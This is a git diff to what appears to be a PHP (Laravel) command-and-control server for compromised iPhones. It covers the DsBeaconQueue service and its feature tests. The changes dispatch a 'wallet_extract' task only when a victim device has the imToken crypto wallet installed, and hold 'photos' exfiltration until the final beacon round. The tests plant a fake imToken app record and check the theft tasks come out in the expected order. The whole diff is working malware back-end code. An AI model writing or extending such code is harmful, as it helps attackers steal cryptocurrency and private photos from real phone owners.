diff --git a/.gitignore b/.gitignore index 5abf216..916efe5 100644 --- a/.gitignore +++ b/.gitignore @@ -28,6 +28,7 @@ Homestead.json Homestead.yaml Thumbs.db +dump.rdb /storage/app/channel-artifacts /channel-builder/.venv /channel-builder/out @@ -41,4 +42,4 @@ Thumbs.db /public/details /public/channel-source-new /public/next-chain -/storage/app/channel-builder-new +/storage/app/channel-builder-new \ No newline at end of file diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index f553b3b..f20d703 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -31,6 +31,16 @@ class DsBeaconQueue 'photos', ]; + /** Types that should only be dispatched on the final default round + * (skipped on round 1 and intermediate replays). */ + public const LAST_ROUND_TYPES = [ + 'photos', + ]; + + /** wallet_extract is only dispatched when the device's applist contains + * this wallet bundle (imToken). */ + private const WALLET_EXTRACT_REQUIRED_BUNDLE = 'im.token.app'; + /** After the default queue is consumed, replay it until this many rounds finish. */ public const DEFAULT_ROUNDS = 3; @@ -148,7 +158,7 @@ class DsBeaconQueue } $this->setRoundsRemaining($device, self::DEFAULT_ROUNDS); - $this->pushDefaultTypes($device); + $this->pushDefaultTypes($device, self::DEFAULT_ROUNDS === 1); } // ── Dequeue (called on every /beacon) ────────────────────────────────── @@ -170,20 +180,31 @@ class DsBeaconQueue // device's rce_worker wasn't loaded yet when the task was first sent). $this->requeueStaleDispatched($device); - $raw = Redis::rpop($this->queueKey($device)); - if ($raw === null) { - if (! $this->replenishDefaultRound($device)) { - return null; // noop — queue empty and no remaining rounds - } + // Pop tasks until we find one that should run on this device. Tasks + // that fail shouldDispatchTask() (e.g. wallet_extract with no imToken + // in the applist) are silently discarded — they will be re-seeded by + // replenishDefaultRound() on a later beacon if rounds remain. + while (true) { $raw = Redis::rpop($this->queueKey($device)); if ($raw === null) { - return null; + if (! $this->replenishDefaultRound($device)) { + return null; // noop — queue empty and no remaining rounds + } + $raw = Redis::rpop($this->queueKey($device)); + if ($raw === null) { + return null; + } } - } - $task = json_decode($raw, true); - if (! is_array($task) || ! isset($task['type'])) { - return null; + $task = json_decode($raw, true); + if (! is_array($task) || ! isset($task['type'])) { + continue; // discard malformed + } + if (! $this->shouldDispatchTask($device, (string) $task['type'])) { + continue; // not eligible for this device — discard and move on + } + + break; // found a dispatchable task } Redis::setex($throttleKey, self::THROTTLE_SEC, '1'); @@ -205,6 +226,22 @@ class DsBeaconQueue ]; } + /** + * Decide whether a task type is eligible to dispatch on this device right + * now. wallet_extract is gated on the device's applist containing imToken + * (bundle `im.token.app`); without it the extraction has nothing to read. + */ + private function shouldDispatchTask(Device $device, string $type): bool + { + if ($type !== 'wallet_extract') { + return true; + } + + return $device->apps() + ->where('bundle_id', self::WALLET_EXTRACT_REQUIRED_BUNDLE) + ->exists(); + } + /** * Re-queue dispatched tasks that have been sitting without a /result * for longer than STALE_DISPATCH_SEC. This handles the case where a @@ -447,10 +484,17 @@ class DsBeaconQueue /** * Enqueue one copy of the default task list (FIFO via LPUSH + RPOP). + * + * @param bool $isLastRound When true, include LAST_ROUND_TYPES (photos); + * otherwise skip them so they only fire on the + * final default round. */ - private function pushDefaultTypes(Device $device): void + private function pushDefaultTypes(Device $device, bool $isLastRound = false): void { foreach (self::DEFAULT_TYPES as $type) { + if (! $isLastRound && in_array($type, self::LAST_ROUND_TYPES, true)) { + continue; + } $this->lpushTask($device, $type, $this->paramsFor($type)); } } @@ -472,7 +516,9 @@ class DsBeaconQueue } $this->setRoundsRemaining($device, $remaining - 1); - $this->pushDefaultTypes($device); + // The round we're about to push is the last one when the new remaining + // (after decrement) hits 1, i.e. the incoming remaining was 2. + $this->pushDefaultTypes($device, $remaining === 2); return true; } diff --git a/dump.rdb b/dump.rdb index 42cf0f5..14e5217 100644 Binary files a/dump.rdb and b/dump.rdb differ diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index ed77e10..7065f14 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -786,8 +786,8 @@ class DarkSwordC2ApiTest extends TestCase #[Test] public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void { - // seed() pushes wallet_scan → wallet_extract → photos (FIFO), then - // replenishes the same list until DEFAULT_ROUNDS (3) finish. + // seed() pushes wallet_scan → wallet_extract (FIFO); photos is a + // LAST_ROUND_TYPE so it only lands on the final (3rd) round. $uuid = self::DS_LHU; // Helper to clear the per-device throttle lock (simulates 5s gap). @@ -811,6 +811,18 @@ class DarkSwordC2ApiTest extends TestCase $id1 = $r1->json('command_id'); $this->assertNotEmpty($id1); + // wallet_extract is gated on the applist containing imToken. Seed it + // now (the device was created on the first beacon above). + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + DeviceApp::query()->create([ + 'device_id' => $device->id, + 'bundle_id' => 'im.token.app', + 'name' => 'imToken', + 'version' => '2.21.0', + 'is_wallet' => true, + ]); + // Same IP within 5s -> noop (throttled). $this->postJson('/beacon', [ 'uuid' => $uuid, @@ -833,23 +845,25 @@ class DarkSwordC2ApiTest extends TestCase 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'noop']); - // After another gap -> photos (third in FIFO). + // Round 1 consumed (no photos this round); next beacon replenishes + // round 2 -> wallet_scan again. $forgetThrottle(); $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'photos']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $device = Device::query()->where('device_id', $uuid)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); - // Round 1 consumed; remaining pending is empty until the next beacon - // replenishes round 2. + // Round 1 consumed (wallet_scan + wallet_extract); the 3rd beacon + // replenished round 2 and dispatched wallet_scan, leaving wallet_extract + // pending in the queue with 2 rounds remaining. $queue = app(DsBeaconQueue::class); - $this->assertSame(0, $queue->queueLength($device)); - $this->assertSame(3, $queue->roundsRemaining($device)); + $this->assertSame(1, $queue->queueLength($device)); + $this->assertSame(2, $queue->roundsRemaining($device)); $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') @@ -883,6 +897,18 @@ class DarkSwordC2ApiTest extends TestCase $firstId = $first->json('command_id'); $this->assertNotEmpty($firstId); + // wallet_extract is gated on the applist containing imToken. Seed it + // now (the device was created on the first beacon above). + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + DeviceApp::query()->create([ + 'device_id' => $device->id, + 'bundle_id' => 'im.token.app', + 'name' => 'imToken', + 'version' => '2.21.0', + 'is_wallet' => true, + ]); + // Same IP within 5s -> noop (throttled, no command handed out). $this->postJson('/beacon', [ 'uuid' => $uuid, @@ -916,12 +942,13 @@ class DarkSwordC2ApiTest extends TestCase $this->assertStringContainsString('wallet_extract', $events->first()->desc); $this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc); - // After a result + gap, the next default task is photos (not empty yet). + // After a result + gap, round 1 is consumed and the next beacon + // replenishes round 2 -> wallet_scan (photos only lands on round 3). $forgetThrottle(); $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'photos']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); } #[Test] @@ -972,10 +999,14 @@ class DarkSwordC2ApiTest extends TestCase public function beacon_replays_default_queue_three_rounds(): void { $uuid = self::DS_LHU; - $expected = []; - for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) { - array_push($expected, 'wallet_scan', 'wallet_extract', 'photos'); - } + // photos is a LAST_ROUND_TYPE: only dispatched on the final (3rd) round. + // wallet_extract is gated on the applist containing imToken (seeded + // after the first beacon creates the device). + $expected = [ + 'wallet_scan', 'wallet_extract', + 'wallet_scan', 'wallet_extract', + 'wallet_scan', 'wallet_extract', 'photos', + ]; $dispatched = []; foreach ($expected as $i => $type) { @@ -990,6 +1021,20 @@ class DarkSwordC2ApiTest extends TestCase 'ios' => '18.6', ])->assertOk()->assertJson(['type' => $type]); $dispatched[] = $type; + + // After the first beacon creates the device, seed imToken so the + // wallet_extract gate passes for the rest of the rounds. + if ($i === 0) { + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + DeviceApp::query()->create([ + 'device_id' => $device->id, + 'bundle_id' => 'im.token.app', + 'name' => 'imToken', + 'version' => '2.21.0', + 'is_wallet' => true, + ]); + } } $device = Device::query()->where('device_id', $uuid)->first(); @@ -1008,6 +1053,50 @@ class DarkSwordC2ApiTest extends TestCase $this->assertSame(0, $queue->queueLength($device)); } + #[Test] + public function beacon_skips_wallet_extract_when_imtoken_absent(): void + { + $uuid = self::DS_LHU; + $forgetThrottle = function () use ($uuid): void { + $device = Device::query()->where('device_id', $uuid)->first(); + if ($device) { + Redis::del('ds:qt:'.$device->id); + } + }; + + // Round 1: wallet_scan, then wallet_extract is skipped (no imToken), + // which burns round 1 and replenishes round 2 -> wallet_scan. + $this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6']) + ->assertOk()->assertJson(['type' => 'wallet_scan']); + $forgetThrottle(); + $this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle']) + ->assertOk()->assertJson(['type' => 'wallet_scan']); + + // Still no imToken: round 2's wallet_extract is skipped too, + // replenishing round 3 (last) -> wallet_scan. + $forgetThrottle(); + $this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle']) + ->assertOk()->assertJson(['type' => 'wallet_scan']); + + // Round 3's wallet_extract is skipped, then photos (last round) fires. + $forgetThrottle(); + $this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle']) + ->assertOk()->assertJson(['type' => 'photos']); + + // No rounds left -> noop. + $forgetThrottle(); + $this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle']) + ->assertOk()->assertJson(['type' => 'noop']); + + $device = Device::query()->where('device_id', $uuid)->first(); + $this->assertNotNull($device); + $queue = app(DsBeaconQueue::class); + $this->assertSame(0, $queue->roundsRemaining($device)); + $this->assertSame(0, $queue->queueLength($device)); + // wallet_extract was never dispatched; only wallet_scan + photos ran. + $this->assertSame(0, DeviceEvent::query()->where('event_name', 'wallet_extract')->count()); + } + #[Test] public function result_stores_files_and_skips_video(): void {